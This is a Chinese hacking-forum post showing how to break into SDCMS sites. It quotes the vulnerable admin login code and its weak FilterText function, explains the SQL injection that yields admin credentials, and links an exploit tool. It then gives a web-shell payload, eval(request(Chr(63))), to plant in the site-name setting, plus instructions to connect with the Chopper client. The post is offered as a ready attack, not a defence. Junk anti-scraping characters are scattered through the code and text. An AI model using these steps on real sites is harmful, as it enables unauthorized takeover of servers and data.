SDCMS通杀漏洞利用工具及提权拿SHELL

admin

作者：T00LS 鬼哥
漏洞文件：后台目录/index.asp
* z" q6 a( Q4 |2 h5 |
Sub Check
    Dim username,password,code,getcode,Rs
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
$ m, V' n' L$ n: \! T    username=FilterText(Trim(Request.Form("username")),1)
) c( r- u6 k1 r& N+ T    password=FilterText(Trim(Request.Form("password")),1)
    code=Trim(Request.Form("yzm"))
    getcode=Session("SDCMSCode")
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
    IF code="" Then Alert "验证码不能为空！","javascript:history.go(-1)"ied
    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字！","javascript:history.go(-1)"ied
' |) ]- \* t  b5 R    IF code<>getcode Then Alert "验证码错误！","javascript:history.go(-1)"ied
    IF username="" or password="" Then
        Echo "用户名或密码不能为空"ied
    Else
' F% {- C+ x# ]9 i# M3 u$ {        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
; k. H  N6 V2 v1 [' j        IF Rs.Eof Then
            AddLog username,GetIp,"登录失败",1
- ^  c5 R" ?, N. u" N6 B            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
        Else
            Add_Cookies "sdcms_id",Rs(0)
            Add_Cookies "sdcms_name",username
            Add_Cookies "sdcms_pwd",Rs(2)
            Add_Cookies "sdcms_admin",Rs(3)
, S. g- R2 m+ o  f2 {            Add_Cookies "sdcms_alllever",Rs(4)
            Add_Cookies "sdcms_infolever",Rs(5)
* m+ a1 p5 e* p5 w            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
            AddLog username,GetIp,"登录成功",1
            '自动删除30天前的Log记录
            IF Sdcms_DataType Then
                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
            Else
                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
" E7 g) O9 z9 V) y7 _            End IF
            Go("sdcms_index.asp")
, U2 G1 p7 {, A/ y6 M! V        End IF
) q- \# M; m# u: x' b& I, w        Rs.Close
        Set Rs=Nothing
; r) u: r. w8 N  S    End IF
End Sub
" X. {- f$ Q' Q) e7 Z3 G3 u, U& X
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码

Function FilterText(ByVal t0,ByVal t1)
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
  h) \7 X- x2 k! c$ Q2 W, p$ q( `    t0=Trim(t0)
% h! S8 d5 z$ R    Select Case t1
' y+ }2 C( D3 k6 N6 M8 L$ h7 _        Case "1"
% N. h2 c& V5 a: C8 L! _6 d  Y/ j            t0=Replace(t0,Chr(32),"")
# T* E# n# q1 F' `# p            t0=Replace(t0,Chr(13),"")
( c, k! F4 [  [' {            t0=Replace(t0,Chr(10)&Chr(10),"")
            t0=Replace(t0,Chr(10),"")
        Case "2"
            t0=Replace(t0,Chr(8),"")'回格
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
) t3 @% ~0 \4 ^            t0=Replace(t0,Chr(10),"")'换行
# L' L, a1 a: Q4 x. t% I* J            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
            t0=Replace(t0,Chr(12),"")'换页
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
* M; P! |5 w0 g            t0=Replace(t0,Chr(22),"")
* \. O" u. ?& \            t0=Replace(t0,Chr(32),"")'空格 SPACE
            t0=Replace(t0,Chr(33),"")'!
; m3 g5 l9 R8 \8 o9 t            t0=Replace(t0,Chr(34),"")'"
" B* i' n9 }) U  A& n1 o            t0=Replace(t0,Chr(35),"")'#
$ z" `3 ^. i, I8 m            t0=Replace(t0,Chr(36),"")'$
            t0=Replace(t0,Chr(37),"")'%
            t0=Replace(t0,Chr(38),"")'&
            t0=Replace(t0,Chr(39),"")''
            t0=Replace(t0,Chr(40),"")'(
            t0=Replace(t0,Chr(41),"")')
  n8 e4 P, G5 ?8 x4 E0 r            t0=Replace(t0,Chr(42),"")'*
            t0=Replace(t0,Chr(43),"")'+
2 X9 E; Q' I+ w9 ~            t0=Replace(t0,Chr(44),"")',
: s1 Z+ z  F: U6 D3 H, j            t0=Replace(t0,Chr(45),"")'-
/ O8 V' P8 i; c) G+ k) U            t0=Replace(t0,Chr(46),"")'.
            t0=Replace(t0,Chr(47),"")'/
9 ]3 w8 e& v# V% n            t0=Replace(t0,Chr(58),"")':
$ j/ u% v( G$ I( u7 U9 I            t0=Replace(t0,Chr(59),"")';
            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
% r& ^( k( d  B3 u            t0=Replace(t0,Chr(63),"")'?
            t0=Replace(t0,Chr(64),"")'@
' l4 l* U6 g: i, U0 R            t0=Replace(t0,Chr(91),"")'\
            t0=Replace(t0,Chr(92),"")'\
, d9 h4 p, z% N& A& I; J7 a            t0=Replace(t0,Chr(93),"")']
            t0=Replace(t0,Chr(94),"")'^
9 B) Q8 C6 {: p) L( I# K8 b5 O9 I, p            t0=Replace(t0,Chr(95),"")'_
0 P$ J3 G, V  j0 O9 ^9 I            t0=Replace(t0,Chr(96),"")'`
            t0=Replace(t0,Chr(123),"")'{
( i  E. |& u/ o  a  |' F  l            t0=Replace(t0,Chr(124),"")'|
            t0=Replace(t0,Chr(125),"")'}
; ^6 R$ w& }* _* ]: p" l+ r9 S            t0=Replace(t0,Chr(126),"")'~
0 B" r7 f9 F$ }$ O    Case Else
        t0=Replace(t0, "&", "&")
/ F' s* S5 j6 X0 C        t0=Replace(t0, "'", "'")
        t0=Replace(t0, """", """)
9 w" R$ @3 B0 H$ }        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
    End Select
    IF Instr(Lcase(t0),"expression")>0 Then
/ G/ C  C- h7 Y6 _# F6 V        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
    End If
% h- F! C) J5 [    FilterText=t0
End Function
2 @5 F" n+ d( @9 [5 K: J/ t
看到没。直接参数是1 只过滤
                        t0=Replace(t0,Chr(32)," ")
                        t0=Replace(t0,Chr(13),"")
/ j( t  d& g* H8 Z& i6 q- s( j* q                        t0=Replace(t0,Chr(10)&Chr(10),"
")
( V% U& J- }; ]2 c7 H% u- V                        t0=Replace(t0,Chr(10),"
: s! A( y6 P3 H6 G- U9 v- d' _/ D")
8 s+ Z. H2 A+ o* P漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
' K8 B' W* G! n5 @5 T
+ S0 `3 H1 d$ k/ y9 c; Z% \测试:


现在输入工具上验证码,然后点OK
1 c" o5 k# o  M. h) S+ A
, i" @# W, B$ Q6 N/ C
. L* q1 B% V( y: A8 K) |- B看到我们直接进入后台管理界面了,呵呵!
( f; ?  O* l: H: a  g5 {6 p

3 F+ C  ]. g" O+ a" E
% }- s* ^9 @1 X9 r7 r4 W  D3 c$ a( k这样直接进入后台了。。。。
; Q9 ?  @7 J: F; C. u6 y$ K


$ I& j) f' W: A8 G% P( u3 KSDCMS提权:
( q' F+ _. [& h7 k! h4 M9 P
方法1：访问：/后台目录/sdcms_set.asp 在 网站名称：后面加个 “:eval(request(Chr(63)))’  即可，直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?

8 ], s: ~% n" t) `* Y9 V, Y
/ g& @/ d: }$ X" O
  x/ g, `1 N$ _. ]OK,现在用菜刀连接下!



# G* J3 z1 P# s

, r' Z7 h' c7 J: W3 x  }# m0 \